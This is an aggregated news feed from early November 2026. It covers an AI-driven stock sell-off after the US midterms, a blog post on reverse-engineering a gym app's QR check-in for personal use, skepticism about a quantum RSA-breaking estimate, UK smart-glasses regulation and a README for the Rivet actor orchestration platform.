In case you haven't noticed, it's fall. Daylight has been saved; full dark hits before the workday ends. In just a few days, the idyllic stretch of weather we basked in all October will be nothing but a distant memory, little comfort in the face of November's chill. This week's RHONY episode, Season 16, Episode 9, was filmed sometime in the spring. But because it features the cast members wearing scarves and light jackets as they make their windswept way across the city, it feels, somehow, seasonally appropriate.

And I don't know if it's just the approaching holiday season making me more charitable, but this week's episode was also surprisingly nice to watch, given how little actually happened in terms of moving the "plot" of the season forward.

RHONY S16 has been about constructing a plausible friend group of cast members, something the previous two seasons failed at spectacularly. In that regard, despite my grousing , I think this week proved that the project was a success. Finally, after two pretty excruciating years of franchise triaging, it doesn't feel totally random that these women are gossiping with each other over lunch, or attending each others' birthday parties, because most of them seem to have some kind of actual connection to each other.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Quoting Paul Ford

Simon Willison
simonwillison.net
2026-11-05 12:34:03
The web browser is very, very, very powerful software for applications, and the cost of accessing that power is going down seemingly every day. — Paul Ford, The Web Is More Than Enough Tags: browsers, paul-ford, web-development...
Original Article

5th November 2026

The web browser is very, very, very powerful software for applications, and the cost of accessing that power is going down seemingly every day .

— Paul Ford , The Web Is More Than Enough

Posted 5th November 2026 at 5:34 pm

This is a quotation collected by Simon Willison, posted on 5th November 2026 .

Reflections on Rust in the LLM Age — Bryan Cantrill | Rust NYC

Lobsters
www.youtube.com
2026-11-05 12:32:18
Comments...

Nasdaq heading for worst day in 18 months as Wall Street sustains widespread losses

Guardian
www.theguardian.com
2026-11-05 12:31:04
Share index slumps 5% amid signs AI industry will face tougher regulation after Democrats’ midterm elections success The tech-heavy US Nasdaq share index is on track for its worst day in 18 months after slumping by up to 5% on Thursday amid growing signs that the artificial intelligence industry wil...
Original Article

The tech-heavy US Nasdaq share index is on track for its worst day in 18 months after slumping by up to 5% on Thursday amid growing signs that the artificial intelligence industry will face tougher regulation after this week’s midterm elections .

As Wall Street sustained widespread losses, the Nasdaq composite tumbled into ‘correction territory’ – more than 10% below its recent record high. The index was heading for its biggest one-day fall since Donald Trump announced his ‘liberation day’ tariffs on US trading partners in April 2025.

Worries over massive AI spending gripped the New York stock market and rippled out to other bourses worldwide as investors anticipated tougher scrutiny of datacentre expansion plans.

Chip stocks led the slump, with memory maker SanDisk tumbling by 19% and hard drive maker Western Digital falling by 16.5%.

Wall Street’s ‘fear index’, the VIX, jumped by 40% to its highest levels since the early weeks of the Iran war, in a sign of rising market volatility.

Analysts pointed to expectations that Democratic governors will clamp down on the rollout of new datacentres after the party won a series of gubernatorial races this week. US voters also rejected datacentres in a series of local ballots about the issue across the country.

Neil Wilson, investor strategist at Saxo UK, said a “complete capitulation level event” was playing out in tech stocks on Thursday.

“The fear is a total momentum unwind as Democrats pace the frontier and kibosh datacentre buildout … this looks totally overdone but the nature of ‘sell everything’ in this market means we need to look for some stability first,” Wilson said.

The Dow Jones industrial average (DJIA) of 30 large US companies was down more than 1,000 points in late morning trading, a fall of 2%, to 52,264 points.

Nvidia, the chipmaker at the heart of the AI boom, was the top faller on the DJIA – down 6.7%, followed by Goldman Sachs, which fell 5.7%.

The sell-off is a sharp reversal on Wednesday’s rally, when Wall Street stocks had their biggest daily gain in months as investors anticipated that the Democratic party’s success in the US midterm elections could restrain the White House.

Tech analyst Dan Ives has warned that the results of the midterms are a clear sign that the pace of datacentre buildout will start to slow down.

“There is no way to sugarcoat that Democrats taking control, especially over the Senate, will create some major hurdles for AI and tech legislation in the Beltway over the next two years,” Ives said.

An early stock market rally in Europe had fizzled out by late trading, with Britain’s FTSE 100 closing down 46 points or 0.4% at 10782.66.

My gym forced a social media down my throat. So I reverse-engineered its app

Hacker News
shayon.work
2026-11-05 12:30:17
Comments...
Original Article

I recently joined a new gym. It’s a pretty good gym, with nice equipment, nice management, nice branding.

And an app .

Now, it’s not some random shitty vibe-coded app. It’s actually pretty good as a product. It has pretty slick UI/UX and a well-thought-out, consistent design language. I found only one bug in it.

For me, though, the only use case is to show a QR code at the turnstile for checking in and out.

However, there is a problem. The home screen of the app is a social feed. Once you check out, it prompts you to post a story of your session. The home feed is full of people’s gym selfies. Every time I open the app, I’m forced to see something that essentially looks like Tinder.

Now, my friend thinks this is a genius business idea. According to her, people who work out really want to flaunt their bodies, but posting that on normal social media is frowned upon. So this gym company really found a good product-market fit.

I think she’s right.

However, I’m super aggressive about social media and feeds I don’t control. Any app that shows me a feed I can’t turn off, sort, or filter—I take that as psychological warfare against me.

I haven’t used social media in more than 12 years. I’m super adamant about blocking ads , blocking YouTube comments, Shorts, and suggested videos , and sanitizing YouTube titles and thumbnails . For things I must use, like LinkedIn 1 , I use browser extensions to block the news feed completely .

So I took it personally.

I wanted to see if I could extract the QR-code logic without all the extra bloat of the app.

So I started digging. I quickly found out that the code changes every 15 seconds. Screenshots are also blocked on that screen, consistent with Android’s FLAG_SECURE . I wondered if it was some kind of TOTP. Was the generation happening server-side?

I did the simplest thing: turned off Wi-Fi. The app immediately told me the codes would remain valid for N days without reconnecting 2 .

Okay, so it could generate them locally.

I used GLM 5.3 and DeepSeek v4.1 Flash. In my sessions, GLM was burning something like 10–20 times as much in token cost without making that much progress. DeepSeek seemed to move much faster.

To be clear, I’m leaving out some details to keep the gym and myself anonymous. I don’t want to lose my gym subscription. I actually like that gym.

The app was written in Flutter, with most of the logic compiled into Dart native code. We used blutter to inspect that, jadx for the Android-side code, and Android’s SDK tools to inspect the package. Later, we used OpenSSL and WebCrypto to check the encryption, and zbar to decode the QR codes independently.

I was prompting DeepSeek here and there, mostly from intuition, because I’d never done this before. Sometimes it seemed to get lost in a direction where I felt the implementation must be simpler than that. Just telling it my guesses, or saying that I thought there must be a simpler way, helped steer it in the right direction.

We quickly understood that the QR code was a URL containing four things: an encoded account handle, an encrypted expiry timestamp, a random nonce, and a checksum.

The expiry was encrypted using AES-128-CTR. A separate secret was used to calculate the checksum. So we needed those two secrets for my account.

My first idea was to let DeepSeek drive an Android emulator, sign in, and extract the keys. But I quickly realized that my ten-year-old laptop, borrowed from a friend, wasn’t going to handle Android software emulation at any reasonable speed.

DeepSeek suggested a rooted phone. That’s when I remembered I had a functional rooted Android phone lying around.

I booted it, connected over wireless ADB, and let DeepSeek investigate. It turned out that the app logged the request and response payloads for the calls we cared about. The key material was sitting in a plain text log file on the phone.

Half of this project was ripgrep.

With the keys extracted, we built a simple SvelteKit web app to generate the QR codes.

There were a few wrong assumptions along the way. The expiry timestamp needed to be in milliseconds, not seconds. The encoding was base64url, not standard base64, and it kept the padding.

We also had an incorrect AES implementation that passed its own round-trip tests. It encrypted something, decrypted it, and got the original input back. But both directions shared the same mistakes, so that didn’t prove it was AES.

Comparing against WebCrypto exposed the discrepancy. OpenSSL and known test vectors confirmed it. The browser app uses WebCrypto.

We then checked against actual output from the original app. Given the same inputs, our implementation produced a byte-identical URL. We also decoded the QR image independently to check that it contained the right URL.

At that point, we had a working prototype. The web app could generate the codes locally from the extracted keys. This didn’t solve standalone login or remove the need to obtain fresh keys when they rotated, but it was enough to try it at the gym.

The next day, I headed there, very proudly showing my friend what I’d built, but still a bit uncertain whether it would work at the gate.

And voilà, it did!

Check-in and check-out.

No more being forced to get my attention hijacked by dark-patterned, manipulative social media just to enter an establishment to lift some metals.

  1. For the longest time, my LinkedIn bio was “I HATE LINKEDIN.” Someone told me LinkedIn combines the worst of the corporate world with the worst of social media, and I think that only half describes how bad it really is. But alas, I’m in the job market right now, and I need a LinkedIn profile for applications. ↩
  2. I’m not revealing the exact number of days to help keep the app anonymous. ↩

Can 23,000 quantum qubits break RSA-2048?

Lobsters
www.bfswa.blog
2026-11-05 12:22:48
Comments...
Original Article

Another quantum computing company’s “Breaking X with N qubits in time T”:

Alice & Bob , a French QC company, claims (in a paper posted on cryptographers’ ePrint) that a quantum computer they may eventually build could, with just 22,593 qubits , break (factor) RSA-2048 in about 𝝅 ≈ 3.14 days . As an orange–pineapple comparison, Google’s OMG press release in March was about a system with half a million qubits, to break 256-bit ECDLP.

As usual, several people have asked me how scary this is—and as usual some of them have decided that it’s actually scary and expect my confirmation, and ask me for justification when I say it’s not, so this post is kinda serving this purpose.

The short answer: it’s interesting research, but we (well, A&B) are nowhere near having such a machine—and a lot of “ifs” are involved.

First, quick context: QCs use qubits instead of ordinary bits; a problem is that qubits are extremely fragile, errors happen frequently, they must be corrected, and correcting them requires… more qubits, running quantum error correction. That’s one of the main obstacles to building QCs.

A&B is developing a special type of qubit, which is a type of cat qubit (the “cat” is Schrödinger’s, a reference to the way cat qubits encode information). Cat qubits are designed to make certain errors rare. A&B built systems with up to 18 cat qubits.

The paper is essentially a thought experiment based on premise “ Imagine we could build a large quantum computer using improved versions of our qubits, then how efficiently could it break RSA-2048?” It’s also sort a bit of a truism “ If we could build what’s necessary to break RSA-2048, then guess what…”

A&B’s paper combines assumptions about future hardware with error correction techniques and an optimized implementation of Shor’s algorithms. Their calculations suggest that around 23,000 qubits would be sufficient.

But there’s a major catch.

Their main calculation assumes that a particular type of error (bit-flip) would occur, on average , only once every 100 years per qubit . That’s a pretty low error rate for a qubit, even for a cat one:

For comparison, A&B’s published experiments demonstrated this kind of error occurring, on average, once every few minutes (under certain conditions and much more frequently during some quantum operations.)

The paper acknowledges a gap of more than 100 million times between the assumed reliability and the experimental results it uses for comparison.

There’s also the scale detail: A&B has developed experimental systems with up to 18 qubits; they’d need another 22,575 qubits.

The paper mentions an alternative design with more realistic error rate assumptions, requiring around 45,000 qubits . But again thus depends on error-correction techniques that haven’t yet been demonstrated.

I feel like competition among QC companies is increasingly a competition for attention; it encourages them to publish scary-looking numbers based on more or less plausible assumptions. To be fair, A&B’s paper is transparent about its assumptions and is solid quantum engineering work. The problem is less the research itself than how its results are presented and promoted.

So the research isnt worthless: estimating the resources needed to break crypto is important and improvements to quantum algorithms and architectures deserve attention. But calculating what an hypothetical machine could do is different from demonstrating that we know how to build that machine .

That’s the distinction you must keep in mind when reading OMG-quantum headlines.

Oh and another result (claimed under similar assumptions) is an architecture to solve ECDLP in about one hour with ~30,000 qubits:

UK government considers smart glasses ban over secret filming concerns

Guardian
www.theguardian.com
2026-11-05 12:21:51
Minister hints at restriction on selling technology ‘to certain users’ amid worries over surreptitious filming of women The government is considering placing restrictions on smart glasses amid concerns the technology is being used to surreptitiously film women, a minister has said. Speaking in the ...
Original Article

The government is considering placing restrictions on smart glasses amid concerns the technology is being used to surreptitiously film women, a minister has said.

Speaking in the House of Commons , the safeguarding minister, Satvir Kaur, hinted at a ban on selling the technology “to certain users”.

Kaur said: “The benefits of smart glasses must be weighed against the harms they can cause. The government is already looking into options to restrict smart glasses in certain settings and restricting the sale to certain users.”

The minister said people who used smart glasses for filming already risked breaking the law in certain settings, such as in a court where cameras are prohibited.

Kaur added: “Other settings, such as healthcare and education, have existing safeguarding or professional policies that are relevant to smart glasses and any kind of digital recording. NHS England and the Department for Education are currently looking into wearable technology in certain settings as well.”

Anna Sabine, a Liberal Democrat MP and a culture spokesperson for the party, who held Wednesday’s debate, said: “Women are reporting waking up after nights out to find videos of themselves have gone viral online, filmed without their knowledge or consent by men wearing smart glasses.

“To me, these devices not only have the potential to erode safety and privacy in public spaces, but raise really important questions about consent.”

skip past newsletter promotion

She said one of the selling points of the glasses in advertisements was that they could be used “to film discreetly”. Sabine said she did not want parliamentarians to “only regulate once it is too late”.

Kaur said smart glasses, which can come with built-in cameras, microphones and displays, could “be hugely beneficial” to some people. “For example, for those that are visually impaired, smart glasses have been a gamechanger, helping them navigate the world around them.”

A politician in the Senedd has defended his use of smart glasses in the debating chamber. Jason O’Connell, a Reform UK MS for Pontypridd Cynon Merthyr, read a speech from an in-built teleprompter feature in his glasses last month.

He told the BBC’s Politics Wales: “One of the things I identified, a weakness of mine, was that my head was down looking at my notes a lot and I wanted to get away from that.”

A Meta spokesperson said: “People use our glasses because they’re helpful and let them stay in the moment, from listening to music to live translation or hands-free calls. They were built to be noticed, which is why every pair with a camera has a bright light on the front that blinks when you take a photo or video. It cannot be turned off and the camera is disabled if someone covers or tampers with it.”

Launch HN: Rivet (YC W23) – Scale and Orchestrate Agents on S3

Hacker News
github.com
2026-11-05 12:17:42
Comments...
Original Article
Rivet

Fast, high-density, scalable orchestration with Rivet Actors.
Built on S3 at SSD speeds.

4.99 ms p99 cold starts, 72 KB RAM per Actor, scales to billions

Quickstart • Documentation • Changelog • Discord • X

What is Rivet?

Rivet is an orchestrator for agentic workloads built on the actor model. Each Rivet Actor is a long-lived process with in-memory state, a SQLite database, WebSockets for realtime, and scheduling, addressed by key. Create one per agent, session, user, or tenant, and run it on plain Node.js, Bun, or Rust.

  • 72 KB per Actor : Actors share a node process instead of each booting a sandbox, so one server holds hundreds of thousands.
  • 4.99 ms p99 cold starts : No image pull and no VM boot.
  • SQLite backed by S3, at SSD speeds : 1.07 ms durable writes and 1.36 ms reads at p99, for about 10.4× less than replicated SSD storage.
  • Hibernates when idle : Idle Actors cost nothing and wake on the next request with nothing lost.

Backend

import { actor } from "rivetkit";
import { db } from "rivetkit/db";

const agent = actor({
  // Per-Actor SQLite database, persisted across restarts and hibernation
  db: db({
    onMigrate: async (db) => {
      // Apply the SQLite schema
      await db.execute(`CREATE TABLE IF NOT EXISTS messages (role TEXT, content TEXT)`);
    },
  }),

  actions: {
    chat: async (c, text: string) => {
      // Durably save the message
      await c.db.execute("INSERT INTO messages VALUES (?, ?)", "user", text);
      const messages = await c.db.execute("SELECT role, content FROM messages");

      const response = streamText({ model: openai("gpt-5"), messages });

      // Stream tokens to every connected client for multiplayer
      for await (const delta of response.textStream) {
        c.broadcast("token", delta);
      }

      // Durably save the response
      await c.db.execute("INSERT INTO messages VALUES (?, ?)", "assistant", await response.text);
    },
  },
});

Client (frontend or backend)

// Connect to an Actor
const agent = client.agent.getOrCreate("agent-123").connect();

// Listen for realtime events
agent.on("token", delta => process.stdout.write(delta));

// Call an action on the Actor
await agent.chat("how many r's in strawberry?");

Getting Started

Use with your coding agent

Paste this prompt into Claude Code, Cursor, Codex, or any coding agent:

Run npx skills add rivet-dev/skills, then ask me what to build and run it locally.

Start from scratch

Every product Rivet ships is an Actor, scheduled by the same control plane.

  • Actors : Long-lived processes with state, realtime, and scheduling built in.
  • Agents : A durable process per agent, with memory that survives restarts.
  • Workflows : Multi-step operations that replay instead of starting over.
  • agentOS : Run the code your agent writes, securely, with granular control over network access, filesystem access, and resource limits.
  • Dynamic Apps (preview): A backend per user, deployed the moment it is generated.

Built for everything agents need

  • Coding agents : One Actor per agent, with a durable process and state that survives restarts.
  • Agent app builders : Each generated backend deploys as its own Actor that scales to zero.
  • Agents in your VPC : Run agents next to your databases and APIs, so no data leaves your cloud.
  • Realtime apps : One Actor per document, room, or channel, broadcasting changes to every client.

How Actors compare to sandboxes

Metric Rivet Actor Sandbox
Cold start (p99) 4.99 ms 1.70 s
Memory per instance 72.4 KB 512 MiB
Storage SQLite on S3 Disk per sandbox
Storage cost 10.4× cheaper Replicated SSDs
Benchmark details & methodology
  • Rivet numbers come from the published Rivet Actors vs Cloudflare Durable Objects benchmark , run on Rivet 3.0.3. Its repository has the raw samples and the scripts to reproduce them.
  • Sandbox numbers are a documented default memory allocation and a third-party cold start benchmark.
  • Storage cost compares S3 Standard with three Amazon EBS gp3 copies at AWS list prices.
  • Sources, dates, and the full method are at rivet.dev/docs/benchmarking .

Features

  • Fault tolerance : If a node goes down, its Actors move elsewhere with their state intact.
  • HTTP & WebSocket networking : Call an Actor over HTTP or hold a live WebSocket to it.
  • End-to-end type safety : Typed clients for your backend and React hooks for your frontend.
  • Cron & scheduling : Wake an Actor on a schedule or at a time it sets for itself.
  • Actor-to-Actor calls : Actors call each other by key across the cluster.
  • OpenTelemetry : Traces, metrics, and logs in OTel format.

Deployment Options

Option Description Get started
Local & self-host Run Rivet locally while you build. In production, run the control plane on Docker, Kubernetes, or a VM. S3 is the only dependency. Self-hosting docs
Rivet Cloud Fully managed, dedicated clusters on AWS or GCP in any region. Run your nodes on Rivet Cloud or bring your own. Dashboard
BYOC The control plane runs inside your own VPC on AWS, GCP, or Azure, fully managed by Rivet. Your data never leaves your cloud. BYOC docs

Every option runs the same control plane, from local dev to production. Talk to an engineer →

Works with the tools you already use

Typed SDKs for your backend and React hooks for your frontend. Rivet runs on native Node.js and Bun with no custom runtime, so your existing packages, tooling, and tests work unchanged.

Deploy nodes on : Docker Compose • Kubernetes • VM & bare metal • Hetzner • AWS ECS • Railway • Render

Frameworks : React • Effect

Runtimes : Node.js • Bun • Rust

Tools : Vitest • OpenTelemetry • Pino • AI SDK • OpenAPI • AsyncAPI

Request an integration →

FAQ

Does Rivet have BYOC?

Yes. Rivet deploys into your own cloud account, including air-gapped environments: the control plane and storage run inside your VPC while Rivet operates them. See the BYOC docs .

Does Rivet have a cloud?

Yes. Rivet Cloud runs fully managed, dedicated clusters on AWS or GCP in any region. It can run your app's Docker image as nodes on Rivet Cloud , or you can bring your own nodes .

Can I self-host Rivet?

Yes. Rivet is fully self-hostable; see the self-hosting docs . The control plane runs anywhere a container runs, with guides for Docker Compose, Kubernetes, VMs and bare metal, Hetzner, Railway, Render, and AWS ECS. For enterprise support with a self-hosted deployment, contact us .

Do I still need Postgres, FoundationDB, or NATS?

No. An object storage bucket is the only dependency: there is no database to run and no message bus, and control plane instances find each other through the bucket. Rivet works with Amazon S3, Google Cloud Storage, Azure Blob Storage, and any S3-compatible store such as MinIO, Cloudflare R2, or Hetzner Object Storage. A local filesystem backend is available for trying Rivet on one machine.

Is Rivet open-source?

Yes. Rivet is open source under the permissive Apache 2.0 license. You're looking at it.

How does Rivet compare to sandboxes?

A sandbox boots a VM or container per agent, which is slow to start and sits mostly idle. A Rivet Actor runs inside a shared node process: 72 KB and 4.99 ms p99 to start, versus 512 MiB and 1.70 s for a sandbox, and it hibernates when idle. To run untrusted code your agent writes, use agentOS .

How does Rivet compare to Cloudflare Durable Objects?

Rivet is often used as an open-source alternative to Cloudflare Durable Objects that is easy to self-host and scales. It also fixes many of the constraints of Durable Objects: no 128 MB memory cap, bottomless storage instead of a 10 GB SQLite limit, Actors are not randomly evicted, and you control the runtime because Actors run on vanilla Node.js or Bun instead of a custom runtime. Rivet also adds built-in connection handling, event broadcasting, durable scheduling and cron, full Vitest support, lifecycle hooks for draining, and control over Actor upgrades. See the Cloudflare Durable Objects comparison .

Does Rivet use a custom V8 runtime?

No. Rivet runs on native Node.js and Bun, so your existing packages, tooling, and tests work unchanged.

Is Rivet like Erlang, Akka, or Orleans?

Rivet implements the virtual actor pattern, which is closest to Orleans, but focuses on what modern workloads need: SQLite persistence instead of simple JSON stores and support for modern runtimes. Erlang and Akka do not provide virtual actors out of the box, though ecosystem packages exist that offer functionality comparable to Rivet Actors.

Does Rivet require microVMs, gVisor, or nested virtualization?

No. Rivet only needs a standard process that connects to the control plane over WebSocket. That process can be Node.js, Bun, Rust, or anything else.

Projects in This Repository

Project Description
RivetKit TypeScript Client & server library for building Actors
RivetKit Rust Rust SDK
RivetKit Python Python client (experimental)
RivetKit Swift Swift client (experimental)
Control Plane Rust control plane that schedules, routes, and persists Actors
↳ Pegboard Actor scheduling & networking
↳ Gasoline Durable execution engine
↳ Guard Traffic routing proxy
↳ Epoxy Multi-region KV store (EPaxos)
Dashboard Inspector for debugging Actors
Documentation Source for rivet.dev/actors/docs
Examples Runnable examples

Community

License

Apache 2.0

Nasdaq plummets 4% into correction territory

Hacker News
www.cnbc.com
2026-11-05 12:11:15
Comments...
Original Article

Traders work on the floor of the New York Stock Exchange (NYSE) in New York, US, on Wednesday, Nov. 4, 2026.

Michael Nagle | Bloomberg | Getty Images

Stocks plummeted on Thursday, erasing the sharp gains from the rally seen in the wake of the U.S. midterm elections , as investors accelerated their move away from technology stocks on fears of a data-center buildout slowdown.

The Nasdaq Composite declined 5.1% and dipped into correction territory, trading more than 10% below a record set last month. The S&P 500 was down 3.9%, heading for its worst day since April 2025. The Dow Jones Industrial Average shed 1,590 points, or 3%. The Dow erased about all of its advance from Wednesday's massive postelection rally.

Stock Chart Icon Stock chart icon

hide content

Nasdaq Composite, 5-day

Stocks related to the artificial intelligence trade, particularly those linked to the chips industry and data centers, slid for a second day. Investors fear that a Democratic sweep of both chambers of Congress as well as victories in key gubernatorial races could decelerate the data center buildout .

For instance, Sen. Bernie Sanders of Vermont — who caucuses with Democrats — has called for a national data center moratorium. In a post on X Wednesday evening, Sanders wrote that "Americans don't want Big Tech oligarchs wrecking the environment, gutting jobs and threatening humanity's future."

Chipmakers Broadcom and Nvidia each fell 6% Thursday, as did others such as software stock Oracle . Another chip stock, Qualcomm , reported earnings that beat estimates , but the stock dropped 11% on a weaker-than-expected earnings outlook. The iShares Semiconductor ETF (SOXX) was down 11% at one point, which would be its worst day since the Covid-19 breakout of March 2020.

Shares of neocloud companies also retreated, with CoreWeave losing 9%, Nebius sliding 13% and Iren shedding 14%, amid those worries about a backlash to the industry in light of the election results in various states.

Investors are "stepping away until they get a better sense of the implications of the midterms around the AI capex cycle in particular, which is the biggest economic tailwind we've had going for us for the last, call it, three years," said Tim Holland, chief investment officer at Orion. "It's about tone and tenor from the party that did really well, incredibly well, at the federal level and at the state level."

Thursday's selling pressure was so intense that it spread to other parts of the market. Shares of industrial giant Caterpillar declined 4%, while financial stock JPMorgan fell 3%, as did aerospace name Boeing . Retailer Nike pulled back 2%.

"Unlike yesterday, you're just seeing that the sell-off in tech, the size of it, is now feeding itself into the broader market," said Keith Lerner, chief investment officer at Truist Wealth. "The rubber band is becoming increasingly stretched."

On Wednesday, the Dow jumped more than 1,500 points to notch its best day since April 2025 after a decisive midterm win for Democrats. The S&P 500 and Nasdaq Composite also popped more than 1% each. Areas related to AI were under pressure, however, while economically-sensitive stocks rose.

Chip stocks plunge for worst day since March 2020

Traders work at the New York Stock Exchange on Nov. 2, 2026.

NYSE

Chip stocks tumbled Thursday, with the iShares Semiconductor ETF falling close to 11%. A closing decline greater than 10.44% marks its worst day since March 2020 with every component down more than 6%.

After a Democratic sweep of both chambers of Congress , which could spell more regulation of the AI buildout, stocks tied to the AI trade, particularly those linked to the chips industry and data centers slid for a second day.

Astera Labs and MACOM Technology Solutions fell roughly 17% and 18%, respectively. AMD and Micron dropped 15% each, while Arm slid about 12%. The SOXX was down 15% for the week.

— Deena Zaidi and Nick Wells

Stock market wipeout is lessening pressure on the Fed to hike rates in December

The equity market sell-off is easing pressure on the Federal Reserve to hike interest rates at its last meeting of the year, on Dec. 9.

Odds that the Federal Reserve will raise interest rates a quarter percentage point from their current 3.75%-4.00% range have fallen to 70.1%, down from 82.7% on Wednesday and 79.9% a week ago, according to the CME FedWatch tool , which is based on 30-day fed funds futures prices.

Conversely, the chance that the Kevin Warsh-led central bank will be able to keep rates where they are in December stands at 29.9% at midday Thursday, up from 17.3% on Wednesday and 20.1% a week ago

— Scott Schnipper

Global Payments trades higher despite lack of an immediate buyout

Piotr Swat | Sopa Images | Lightrocket | Getty Images

Global Payments didn't use its third-quarter earnings report to confirm speculation that the company is working out a deal to go private , but it did show that it is continuing to integrate its Worldpay acquisition, which CNBC expects will support its stock in the future .

Shares are trading higher despite the broader market pullback. The payments company earned $3.58 per share after adjustments, in line with the FactSet consensus estimate and an increase of 10% year-on-year. It reaffirmed its full year 2026 outlook.

Adjusted operating margin rose 220 basis points to 42.5%, powered by the successful capture of operational efficiencies and synergies from the Worldpay integration. The company now expects Worldpay synergies of $650 million, up from $600 million previously, by the end of 2028.

Global Payments all-in-one Genius point-of-sale and business management platform saw strong growth in the quarter with bookings more than doubling year-on-year. Performance in the Middle East continues to be hurt by the war, but was "generally in line with our expectations," CFO Josh Whipple said on the earnings call. He categorized the recovery as "very uneven and inconsistent."

Management declined to comment on reported buyout talks with Clayton Dubilier & Rice and shareholder GTCR, saying it doesn't "comment on market rumors or speculation."

On the call, CEO Cameron Bready said he is "not really going to be able to get into the reporting or any of the specifics around it."

— Justin Zacks

AI declines are just getting started, Macro Research Board warns

Declines for the super intelligence, or artificial intelligence, trade still have a long way to go, investment strategists at the Macro Research Board are warning on Thursday.

"The shakeout in A.I.-related stocks has much further to run," the firm said in a Thursday note. Researchers said that "investors are beginning to question excessive forward profit estimates."

They recommend diversifying away from tech stocks amid general sensitivities in equities.

"In this environment, our bet has been a churn in the aggregate U.S. and global stocks indexes (at least for now), but with a meaningful rotation underneath the surface (including divergences in the absolute price of stocks/sectors)," they said, adding that monetary and fiscal policy are not currently restrictive.

— Tobias Burns

Tech stocks are selling off hard, entering vicious correction

The Micron Technology offices in San Jose, California, Dec. 16, 2025.

David Paul Morris | Bloomberg | Getty Images

Tech stocks are getting pummeled on Thursday.

Chip stocks central to the AI trade in particular are getting walloped. Micron and AMD are down 16% and GPU powerhouse Nvidia is down 8%.

Stock Chart Icon Stock chart icon

hide content

MU, 1-day

— Tobias Burns

Analysts are meh on Qualcomm after weak earnings forecast

Thomas Fuller | Lightrocket | Getty Images

Wall Street is measured on the outlook for Qualcomm after the company delivered a weak earnings forecast on Wednesday. Analyst Stacey Rasgon at Bernstein has a market-perform rating on the stock and a price target of $155; Joseph Moore at Morgan Stanley has an equal-weight rating and a price target of $197.

Customer diversification is the buzzword on the Street for Qualcomm, as mentioned in multiple research notes.

"The debate has shifted to diversification: ambitious data center targets of $5B in FY27 and $15B+ in FY29, and continued strength in autos," Morgan Stanley's Moore said on Thursday.

— Tobias Burns

Gold and silver extend post-election rally, head for best week since August

Gold and silver bars of various sizes at the precious metals dealer Pro Aurum in Munich.

Sven Hoppe | Picture Alliance | Getty Images

Gold and silver futures climbed Thursday as a weaker U.S. dollar and lower Treasury yields supported a rally following the U.S. midterm elections. Falling oil prices eased inflation concerns.

December gold futures touched $4,155.80 an ounce, their highest since October 22, while December silver reached $53.49, its highest since October 29.

Stock Chart Icon Stock chart icon

hide content

Gold stock price

The yellow metal is up more than 5% this week as silver has gained more than 6%. Gold was on pace for its strongest weekly advance since the week ended Aug. 7, while silver was heading for its best week since Aug. 21.

Gold miners joined the rally, with the VanEck Gold Miners ETF up about 1% on Thursday and more than 10% this week. Harmony Gold and IAMGOLD are among the leaders, each gaining more than 13% this week. Equinox Gold has risen more than 15% on the week.

— Deena Zaidi and Gina Francolla

Nasdaq dips into correction territory

The Nasdaq Composite tumbled into correction territory on Thursday, trading 10% below a record close set last month. The benchmark was down 3.9% on the day as chipmakers sold off.

Stock Chart Icon Stock chart icon

hide content

Nasdaq Composite dips into correction

— Fred Imbert

VIX moves above 22

The CBOE Volatility Index rose on Thursday as equity sell-off picked up steam, with Wall Street's so-called fear gauge last up 22.59.

Stock Chart Icon Stock chart icon

hide content

.VIX, 1-day

— Sean Conlon

Dow opens higher

The Dow Jones Industrial Average began Thursday's session in the green.

The blue-chip Dow added 334 points, or 0.6%, just after the opening bell. The S&P 500 dipped 0.1%, while the Nasdaq Composite shed 0.7%.

— Sean Conlon

Jobless claims drop again as layoffs near lowest since 1969

Jobseekers wait to speak with recruiters during the Catalyst Career Group Dallas Job Fair in Dallas, Texas, US, on Wednesday, July 29, 2026.

Dylan Hollingsworth | Bloomberg | Getty Images

Jobless claims slipped further last week, hovering around levels not seen since the late 1960s, the Labor Department reported Thursday.

Initial filings for unemployment claims totaled a seasonally adjusted 189,000 for the week ended Oct. 31, down 6,000 from the prior period and below the Dow Jones consensus estimate for 197,000. The total tied for the lowest since July, which was the bottom going back to September 1969.

Continuing claims, which run a week behind, rose 23,000 to 1.72 million.

— Jeff Cox

Productivity spikes, labor costs slide

Productivity posted a stronger-than-expected jump in the third quarter while the portion of output that showed up in worker pay hit a record low, the Bureau of Labor Statistics reported Thursday.

Nonfarm business sector productivity surged 3.6% for the period, up from 2.1% in the second quarter and well ahead of the Dow Jones consensus estimate for 2.9%. Compensation less productivity, a metric known as unit labor costs, contracted 0.7%.

At the the same, the percentage of output that goes to workers in the form of compensation, known as the labor share, slipped further to 53%, the lowest in a data series that dates back to 1947.

— Jeff Cox

Shake Shack, Peloton and Wendy's among the stocks making the biggest moves premarket

Check out the companies making headlines before the bell:

  • Shake Shack — Shares rose 3.8% after the fast-food chain published its third-quarter results. Adjusted earnings per share of 40 cents topped an LSEG estimate of 35 cents per share. Revenue of $423 million was just below the $426 million consensus. Management also reaffirmed the company's full-year 2026 revenue guidance of $1.6 billion to $1.7 billion.
  • Peloton Interactive — The maker of fitness equipment jumped 7% after Peloton Interactive posted fiscal first-quarter revenue of $559 million, besting the LSEG consensus estimate of $554 million. However, earnings of 19 cents per share missed the 21 cents expected.
  • Wendy's — Shares were little changed after the fast food chain rejected a $1.4 billion takeover offer from a Trian Fund Management-led group. The group late last month offered $7.35 per share in cash to take Wendy's private.

Read the full list here .

— Sarah Min

Why Trump's reaction to Democratic victory in the midterms aided Wednesday’s rally

US President Donald Trump speaks at the White House ballroom construction site in Washington, DC, US, on Wednesday, Nov. 4, 2026.

Annabelle Gordon | Bloomberg | Getty Images

The stock market skyrocketed on Wednesday on the heels of a decisive sweep for Democrats in the 2026 midterm elections . But that was not necessarily the only driver of the climb.

"President Trump's acknowledgement of the Democrats' victory in the midterms and his expressed openness to collaborating with the opposition have helped markets to rally on hopes that contestation of the results and more adverse polarization can be avoided," said Thomas Hempell, Generali Investments senior economist.

Trump told The New York Times and The Wall Street Journal overnight Tuesday that he accepted the results and would work with Democrats. Those headlines coincided with a rebound in stock market futures.

Read the full story here .

— Sean Conlon

Wendy's rejects Trian takeover bid

Wendy's shares were down slightly after the fast food chain on Thursday rejected a a $1.4 billion takeover offer from a Trian Fund Management-led group.

The group late last month offered $7.35 per share in cash to take Wendy's private.

— Fred Imbert

The midterms could fuel the K-shaped AI trade

The U.S. midterms could widen the AI divide: tighter data center rules may reward tech giants with capacity in hand and squeeze debt-funded companies trying to catch up.

